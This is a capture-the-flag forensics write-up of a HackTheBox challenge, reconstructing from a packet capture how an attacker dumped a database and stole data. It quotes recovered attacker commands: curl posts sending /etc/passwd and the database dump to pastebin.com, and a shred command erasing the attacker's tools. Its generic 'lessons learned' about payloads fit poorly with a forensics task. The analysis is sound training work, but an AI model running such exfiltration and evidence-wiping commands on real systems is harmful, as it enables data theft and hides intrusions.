Marshal in the Middle
Marshal in the Middle
Platform: HackTheBox | Category: Forensics | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
The security team was alerted to suspicous network activity from a production web server. Can you determine if any data was stolen and what it was?
Solution Approach
Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.
Steps
-
First, unzip the
.zipfile given. -
Open the
.pcapfile in wireshark. -
Now let's follow the
tcpstream. -
When i followed the 2nd tcp stream. Got a clue here.
-
Based from it we know that the attacker checked connectivity to a database server, then used a script named exfildb.sh to dump the remote database.
sh read-only • copy allowed./exfildb.sh mysql-m1.prod.htb 3306 root p4ssw0rd dbdump
- Then the attacker tried to upload the contents of
etc/passwdto pastebin.com using curl.
sh read-only • copy allowedpastetext=$(cat /etc/passwd) ; curl -d "api_user_key=REDACTED&api_dev_key=REDACTED&api_paste_private=2&api_option=paste&api_paste_code=${pastetext}" 'https://pastebin.com/api/api_post.php'
-
Seems like the attacker tried to upload contents of
etc/passwdagain. -
Next, the attacker used head to check the first four lines of the
dumpdbfile. -
Then he used curl again to upload the database of pastebin.com.
sh read-only • copy allowedpastetext=$(cat dumpdb) ; curl -d "api_user_key=REDACTED&api_dev_key=REDACTED&api_paste_private=2&api_option=paste&api_paste_code=${pastetext}" 'https://pastebin.com/api/api_post.php'
- After that, the attacker tried to remove all the tools and dumped database from
tmp/.h4xdirectory.
sh read-only • copy allowedfind /tmp/.h4x -type f -exec shred -vfun2 {} \;
- The next thing to do is to check what was uploaded to pastebin.com.
- First, we need to upload the
secrets.logfile we got from extracting the zip file as the TLS (Pre)-Master-Secret log filename, because we want to decrypt the encrypted HTTPS traffic.
STEPS
Go to edit -> preferences -> protocols -> TLS -> upload.
- Now let's filter the http stream which has pastebin.com as the host.
COMMAND
http.host=="pastebin.com"
- After follow the 1st and the 2nd HTTP stream, i got nothing useful.
- But when i followed the 3rd one, i got the flag!
Flag
REDACTED
Lessons Learned
- Identify the weakness from source review or fingerprinting first.
- Iterate with incremental payloads instead of guessing.
- Reuse the same pattern in future engagements.